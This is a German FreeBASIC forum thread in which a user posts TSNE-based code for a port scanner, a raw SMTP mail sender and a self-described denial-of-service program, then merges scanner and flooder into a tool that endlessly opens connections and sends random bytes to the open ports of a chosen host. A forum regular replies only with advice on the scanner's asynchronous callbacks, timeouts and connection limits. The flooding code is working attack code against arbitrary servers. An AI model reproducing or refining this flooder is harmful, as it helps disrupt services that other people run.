Das deutsche QBasic- und FreeBASIC-Forum Foren-Übersicht Das deutsche QBasic- und FreeBASIC-Forum
Für euch erreichbar unter qb-forum.de, fb-forum.de und freebasic-forum.de!
 
FAQFAQ   SuchenSuchen   MitgliederlisteMitgliederliste   BenutzergruppenBenutzergruppen  RegistrierenRegistrieren
ProfilProfil   Einloggen, um private Nachrichten zu lesenEinloggen, um private Nachrichten zu lesen   LoginLogin
Zur Begleitseite des Forums / Chat / Impressum
Aktueller Forenpartner:

Fragen zu TSNE

 
Neues Thema eröffnen   Neue Antwort erstellen    Das deutsche QBasic- und FreeBASIC-Forum Foren-Übersicht -> Allgemeine Fragen zu FreeBASIC.
Vorheriges Thema anzeigen :: Nächstes Thema anzeigen  
Autor Nachricht
Electron



Anmeldungsdatum: 04.05.2019
Beiträge: 3

BeitragVerfasst am: 04.05.2019, 13:38    Titel: Fragen zu TSNE Antworten mit Zitat

Ich wollte etwas mit dem Port-Scanner experimentieren, doch funktioniert der bei mir leider nicht. Also hab ich mir selber einen gebastelt:

Code:

#include once "TSNE.bi"
Dim as UInteger G_Client
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)

dim shared as integer bv,n,port
dim shared as string ip
input "Host/IP-Adr.:",ip
if ip="" then ip="192.168.1.1"
input "Port (0-1023):",n
if n=0 then n=1023

for port=0 to n
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
next port
beep
print
print "Fertig!!"
sleep

Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
print "DIS";(port-1)
End Sub

Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
print "OPN";(port-1)
End Sub

Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
print "NEW";(port-1)
End Sub


Der ist aber relativ langsam. Wie kann ich den verbessern?

Weiter hab ich ein DOS-Programm für den Selbsttest gebastelt. Ich will damit nichts illegales machen; mir geht es lediglich um das technische Verständnis. Hätte ich unlautere Absichten, würde ich wohl etwas wie LOIC verwenden. Doch wie kann ich die beiden Programme zusammenhängen, möglichst ohne diese "doofen" SUBs?

Code:

#include once "TSNE.bi"
Dim as UInteger G_Client
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)

dim shared as integer bv,n,port
dim shared as string ip
input "Host/IP-Adresse:",ip
if ip="" then ip="192.168.1.1"
input "Port (80):",port
if port=0 then port=80
randomize timer,5

do
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
locate 3,1:print "Angriffe:";n
n+=1
loop

Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
End Sub

Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
End Sub

Sub TSNE_NewData (ByVal V_TSNEID as UInteger,ByRef V_Data as String)
End Sub


Auch funktioniert das Mail-Programm mit GMX nicht; wo liegt da der Fehler? Vielen Dank!!

Code:

#include once "TSNE.bi"
Dim Shared as UInteger G_Client,G_State
Dim Shared as String G_Data,XServer,XFrom
Dim Shared as String XTo,XBetreff,XNachricht

Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)

Print "[INIT] Client..."
Dim BV as Integer
Dim D as String
For X as UByte=1 to 5
Do
Print ""
Select Case X
Case 1
Line Input "Server:",D
Case 2
Line Input "Absender:",D
Case 3
Line Input "Empfänger:",D
Case 4
Line Input "Betreff:",D
Case 5
Line Input "Nachricht:",D
End Select
Loop Until (D<>"") or ((X=1) and (D=""))
Select Case X
Case 1:XServer=D
Case 2:XFrom=D
Case 3:XTo=D
Case 4:XBetreff=D
Case 5:XNachricht=D
End Select
Next

If XServer="" Then
Dim XPos as UInteger=InStr(1,XTo,"@")
If XPos>0 Then XServer = Mid(XTo,XPos+1)
End If

Print "[Verbindungsaufbau]"
BV=TSNE_Create_Client(G_Client,XServer,25,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,60)

If BV<>TSNE_Const_NoError Then
Print "[FEHLER] " & TSNE_GetGURUCode(BV)
End -1
End If

Print "[Verbindung]"
TSNE_WaitClose(G_Client)
Print "[Fertig]"
End

Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
Print "[Beendet]"
End Sub

Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
Print "[Bestehend]"
End Sub

Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
G_Data+=V_Data
Dim XPos as UInteger
Dim T as String
Do
XPos=InStr(1,G_Data,Chr(13,10))
If XPos=0 Then Exit Do
T=Mid(G_Data,1,XPos-1)
G_Data=Mid(G_Data,XPos+2)
Select Case ValUInt(Left(T,3))
Case 220
TSNE_Data_Send(V_TSNEID,"HELO" & Chr(13,10))
         
Case 221
TSNE_Disconnect(V_TSNEID)
Print "Erfolgreich"
         
Case 250
Select Case G_State
Case 0:TSNE_Data_Send(V_TSNEID,"MAIL FROM:<" & XFrom & ">" & Chr(13,10))
Case 1:TSNE_Data_Send(V_TSNEID,"RCPT TO:<" & XTo & ">" & Chr(13,10))
Case 2:TSNE_Data_Send(V_TSNEID,"DATA" & Chr(13,10))
Case 3:TSNE_Data_Send(V_TSNEID,"QUIT" & Chr(13,10))
End Select
G_State+=1
         
Case 354
TSNE_Data_Send(V_TSNEID,"From: <" & XFrom & ">" & Chr(13,10) & "To: <" & XTo & ">" & Chr(13,10) & "Subjekt: " & XBetreff & Chr(13,10) & Chr(13,10) & XNachricht & Chr(13,10) & "." & Chr(13,10))
         
Case Else
TSNE_Disconnect(V_TSNEID)
Print "Fehler"
End Select
Loop
End Sub


Zuletzt bearbeitet von Electron am 05.05.2019, 10:07, insgesamt einmal bearbeitet
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
Electron



Anmeldungsdatum: 04.05.2019
Beiträge: 3

BeitragVerfasst am: 04.05.2019, 19:19    Titel: Antworten mit Zitat

Mache das jetzt erst mal so; für meine Zwecke reicht es.

Code:

#include once "TSNE.bi"
Dim as UInteger G_Client
Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected2(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)

dim shared as integer bv,i,n,port,port2
dim shared as string ip
input "Host (192.168.1.1):",ip
if ip="" then ip="192.168.1.1"
randomize timer,5
print "Suche offene Ports:";

dim as integer liste=17
dim as integer feld(liste)
feld(0)=21:feld(1)=22:feld(2)=23:feld(3)=25:feld(4)=53:feld(5)=80:feld(6)=110:feld(7)=135:feld(8)=137:feld(9)=138
feld(10)=139:feld(11)=443:feld(12)=445:feld(13)=1080:feld(14)=1433:feld(15)=3128:feld(16)=3306:feld(17)=8080

for i=0 to liste
port=feld(i)
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
if port2>0 then print port;
next i

print
input "Angriffs-Port (80):",port
if port=0 then port=80

do
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected2,@TSNE_NewData,0)
locate 4,1:print "Anzahl Pings:";n
n+=1
loop

Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
End Sub

Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
port2=port
End Sub

Sub TSNE_Connected2(ByVal V_TSNEID as UInteger)
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,chr(int(rnd*255)+0))
port2=port
End Sub

Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
End Sub
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
Electron



Anmeldungsdatum: 04.05.2019
Beiträge: 3

BeitragVerfasst am: 08.05.2019, 20:48    Titel: Antworten mit Zitat

So, hab's mal noch etwas verbessert:
Code:

#include once "TSNE.bi"
Dim as UInteger G_Client

Declare Sub   TSNE_Disconnected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_Connected2(ByVal V_TSNEID as UInteger)
Declare Sub   TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)

dim shared as integer bv,i,j,modus,n,port,port2
dim shared as string ip

input "Host/IP:",ip
if ip="" then ip="192.168.1.1"
randomize timer,5
print "Suche..."

dim as integer liste=13,liste2
dim as integer feld(liste)

feld(0)=21
feld(1)=23
feld(2)=25
feld(3)=53
feld(4)=80
feld(5)=110
feld(6)=135
feld(7)=137
feld(8)=138
feld(9)=139
feld(10)=443
feld(11)=445
feld(12)=1080
feld(13)=8080

for i=0 to liste
port=feld(i)
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
if port2=0 then feld(i)=0
next i

for i=0 to liste
port=feld(i)
if port>0 then liste2+=1
next i

dim as integer feld2(liste2-1)
for i=0 to liste
if feld(i)>0 then feld2(j)=feld(i):j+=1
next i

print
print "Ports:",
for i=0 to liste2-1
print feld2(i);
next i

print
print
input "1=spez. Port   2=alle Ports:",modus
if modus=0 then modus=2

if modus=1 then
port=0
print
input "Port (80):",port
if port=0 then port=80
end if

do
if modus=2 then port=feld2(int(rnd*liste2)+0)
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected2,@TSNE_NewData,0)
locate 8,1:print "Port:         ";port,
locate 9,1:print "Pings:        ";n
n+=1
loop

Sub TSNE_Disconnected(ByVal V_TSNEID as UInteger)
End Sub

Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,"")
port2=port
End Sub

Sub TSNE_Connected2(ByVal V_TSNEID as UInteger)
Dim BV as Integer=TSNE_Data_Send(V_TSNEID,chr(int(rnd*255)+0))
port2=port
End Sub

Sub TSNE_NewData(ByVal V_TSNEID as UInteger,ByRef V_Data as String)
End Sub
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
ThePuppetMaster



Anmeldungsdatum: 18.02.2007
Beiträge: 1768
Wohnort: [JN58JR] DeltaLabs.de

BeitragVerfasst am: 14.05.2019, 20:53    Titel: Re: Fragen zu TSNE Antworten mit Zitat

Electron hat Folgendes geschrieben:
Ich wollte etwas mit dem Port-Scanner experimentieren, doch funktioniert der bei mir leider nicht.

der hier? .. https://www.freebasic-portal.de/porticula/fastportscanbas-829.html


Bezüglich deiner variante:

1.
Folgendes ist ungünstig:
Code:

BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)

Hier gibst du am ende "...,0)" an ... 0 bedeutet in diesem falle, das 0 Sekunden auf den Verbindungsaufbau gewartet werden soll. Im Zweifelsfall kann das einfach darin enden, das er die Verbindung terminiert, noch bevor eine mögliche erfolgsmeldung eintrifft. > 0 (z.b. 3) wäre sinvoll.

2. TSNE arbeitet Asynchron und mit Callbacks. Das musst du unbedingt bei der codierung beachten, was nach deinem Source jedoch nicht beachtet wurde.
Code:

for port=0 to n
BV=TSNE_Create_Client(G_Client,ip,port,@TSNE_Disconnected,@TSNE_Connected,@TSNE_NewData,0)
next port

Da diese Funktion async und via callback arbeitet kannst du in den Callbacks z.B. "..._Connected(..." nicht auf eine globale variable zugreifen, da sich zwischenzeitlich der wert (abhängig von der verbindungsgeschwindigkeit der einzelnen verbindungsaufbauten) schon geändert haben kann. -> "print "OPN";(port-1)"

sinvoll wäre es hier, wenn du TSNE mithilfe von "TSNE_SUBCALLBACK" includierst. Das ermöglicht dir, allocierte Variablen den Callback-Fountionen anzuhängen. In diesem Speicher kannst du dann z.B. die aktuelle Port-Nummer hinterlegen.

Es gäbe noch eine ... nicht zu empfehlende .. Möglichkeit das ganze zu "ertricksen".

Hierzu erzeugst du eine funktion wie folgt:
Code:

Private Function GetTSNEPortByTSNEID(ByRef V_TSNEID as UInteger) as Integer
Dim TSD as TSNE_Socket Ptr
MutexLock(TSNE_INT_Mutex)
TSD = TSNE_INT_GetPtr(V_TSNEID)
If TSD = 0 Then MutexUnLock(TSNE_INT_Mutex): Return -1
If TSD->T_ThreadOn = 0 Then MutexUnLock(TSNE_INT_Mutex): Return -1
Dim TPort as UShort = TSD->V_Port
MutexUnLock(TSNE_INT_Mutex)
Return TPort
End Function


Das ganze rufst du dann im "connected" event auf:
Code:

Sub TSNE_Connected(ByVal V_TSNEID as UInteger)
Print GetTSNEPortByTSNEID(V_TSNEID)
End Sub

Dieses gibt dir dann den Port des verbundenen sockets anhand der TSNE-Intern gespeicherten Daten aus.

3. Desweiteren ist es keinesfalls ratsam alle 16Bit Ports "quasi gleichzeitg" zu verbinden. Das kann ein Instabiles system und / oder fehlerhafte Port-Prüfungen zur folge haben. Du solltest das ganze auf .. sagen wir mal .. 100 gleichzeitge verbindugnsanfragen beschränken.


MfG
TPM
_________________
[ WebFBC ][ OPS ][ DeltaLab's ][ ToOFlo ][ BGB-Movie ]
Nach oben
Benutzer-Profile anzeigen Private Nachricht senden
Beiträge der letzten Zeit anzeigen:   
Neues Thema eröffnen   Neue Antwort erstellen    Das deutsche QBasic- und FreeBASIC-Forum Foren-Übersicht -> Allgemeine Fragen zu FreeBASIC. Alle Zeiten sind GMT + 1 Stunde
Seite 1 von 1

 
Gehe zu:  
Du kannst keine Beiträge in dieses Forum schreiben.
Du kannst auf Beiträge in diesem Forum nicht antworten.
Du kannst deine Beiträge in diesem Forum nicht bearbeiten.
Du kannst deine Beiträge in diesem Forum nicht löschen.
Du kannst an Umfragen in diesem Forum nicht mitmachen.

 Impressum :: Datenschutz